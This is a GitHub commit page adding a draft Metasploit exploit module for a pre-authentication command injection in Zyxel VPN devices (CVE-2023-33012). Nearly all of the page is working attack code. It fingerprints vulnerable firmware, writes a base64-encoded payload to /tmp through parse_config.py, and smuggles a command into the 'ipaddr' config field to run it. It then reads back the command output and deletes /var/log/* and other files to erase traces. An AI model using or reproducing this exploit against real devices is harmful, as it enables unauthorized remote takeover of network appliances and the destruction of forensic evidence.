Skip to content

Commit 576191b

Browse files
committed
beta commit
1 parent 1b9f242 commit 576191b

File tree

1 file changed

+137
-0
lines changed

1 file changed

+137
-0
lines changed
Lines changed: 137 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,137 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::FileDropper
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Zyxel parse_config.py Command Injection',
17+
'Description' => %q(
18+
This here module exploits Zyxel
19+
),
20+
'Author' =>
21+
[
22+
'SSD Secure Disclosure technical team', # discovery
23+
'jheysel-r7' # module
24+
],
25+
'References' =>
26+
[
27+
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-zyxel-vpn-series-pre-auth-remote-command-execution/'],
28+
[ 'CVE', '2023-33012']
29+
],
30+
'License' => MSF_LICENSE,
31+
'Platform' => ['linux', 'unix'],
32+
'Privileged' => true,
33+
'Arch' => [ ARCH_CMD ],
34+
'Targets' =>
35+
[
36+
[ 'Automatic Target', {}]
37+
],
38+
'DefaultTarget' => 0,
39+
'DisclosureDate' => '',
40+
'Notes' =>
41+
{
42+
'Stability' => [ CRASH_SAFE, ],
43+
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
44+
'Reliability' => [ REPEATABLE_SESSION, ],
45+
},
46+
)
47+
)
48+
49+
# register_options(
50+
# [
51+
#
52+
# ],
53+
# )
54+
end
55+
56+
# def fingerprint_method1
57+
#
58+
# end
59+
#
60+
# def fingerprint_method2
61+
#
62+
# end
63+
64+
def check
65+
res = send_request_cgi({
66+
'method' => 'GET',
67+
'uri' => normalize_uri(target_uri.path, 'ext-js', 'app', 'common', 'zld_product_spec.js'),
68+
})
69+
return CheckCode::Unknown if res.nil?
70+
71+
if res.code == 200 && res.body =~ /ZLDCONFIG_CLOUD_HELP_VERSION=(\w+)/
72+
return CheckCode::Appears("Detected #{Regexp.last_match(1)}.") if Rex::Version.new(Regexp.last_match(1)) < Rex::Version.new('5.36')
73+
CheckCode::Safe
74+
end
75+
end
76+
77+
def exploit
78+
# Command injection has a 0x14 byte length limit so keep the file name smol.
79+
# The length limit is also why we leverage the arbitrary file write -> write our payload to the .qrs file then execute it with the command injection. #
80+
filename = rand_text_alpha(1)
81+
82+
command = payload.encoded
83+
command += <<-CMD
84+
2>/var/log/ztplog 1>/var/log/ztplog
85+
(sleep 10 && /bin/rm -rf /tmp/#{filename}.qsr /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
86+
CMD
87+
command = "echo #{Rex::Text.encode_base64(command)} | base64 -d > /tmp/#{filename}.qsr ; . /tmp/#{filename}.qsr"
88+
89+
file_write_pload = "option proto vti\n"
90+
file_write_pload += "option #{command};exit\n"
91+
file_write_pload += "option name 1\n"
92+
93+
config = Base64.strict_encode64(file_write_pload)
94+
data = { "config" => config, "fqdn" => "\x00" }
95+
print_status('Attempting to upload the payload via QSR file write...')
96+
97+
file_write_res = send_request_cgi({
98+
'method' => 'POST',
99+
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'),
100+
'data' => data.to_s,
101+
})
102+
fail_with(Failure::UnexpectedReply, 'The response from the target indicates the payload transfer was unsuccessful') if file_write_res && file_write_res.body.include?('ParseError: 0xC0DE0005')
103+
register_files_for_cleanup("/tmp/#{filename}.qsr")
104+
print_good('File write was successful.')
105+
106+
cmd_injection_pload = "option proto gre\n"
107+
cmd_injection_pload += "option name 0\n"
108+
cmd_injection_pload += "option ipaddr ;. /tmp/#{filename}.qsr;\n"
109+
cmd_injection_pload += "option netmask 24\n"
110+
cmd_injection_pload += "option gateway 0\n"
111+
cmd_injection_pload += "option localip #{Faker::Internet.private_ip_v4_address}\n"
112+
cmd_injection_pload += "option remoteip #{Faker::Internet.private_ip_v4_address}\n"
113+
config = Rex::Text.encode_base64(cmd_injection_pload)
114+
data = { "config" => config, "fqdn" => "\x00" }
115+
116+
cmd_injection_res = send_request_cgi({
117+
'method' => 'POST',
118+
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'),
119+
'data' => data.to_s,
120+
})
121+
122+
fail_with(Failure::UnexpectedReply, 'The response from the target indicates the payload transfer was unsuccessful') if cmd_injection_res && cmd_injection_res.body.include?('ParseError: 0xC0DE0005')
123+
124+
#Unecessary if running a fetch payload though adding for testing
125+
cmd_ouput_res = send_request_cgi({
126+
'method' => 'GET',
127+
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'dumpztplog.py'),
128+
})
129+
130+
output = cmd_ouput_res.body.split("</head>\n<body>")[1]
131+
output = output.split("</body>\n</html>")[0]
132+
output = output.gsub("\n\n<br>", "")
133+
output = output.gsub("[IPC]IPC result: 1\n", "")
134+
print_good("Command output: #{output}" )
135+
136+
end
137+
end

0 commit comments

Comments
 (0)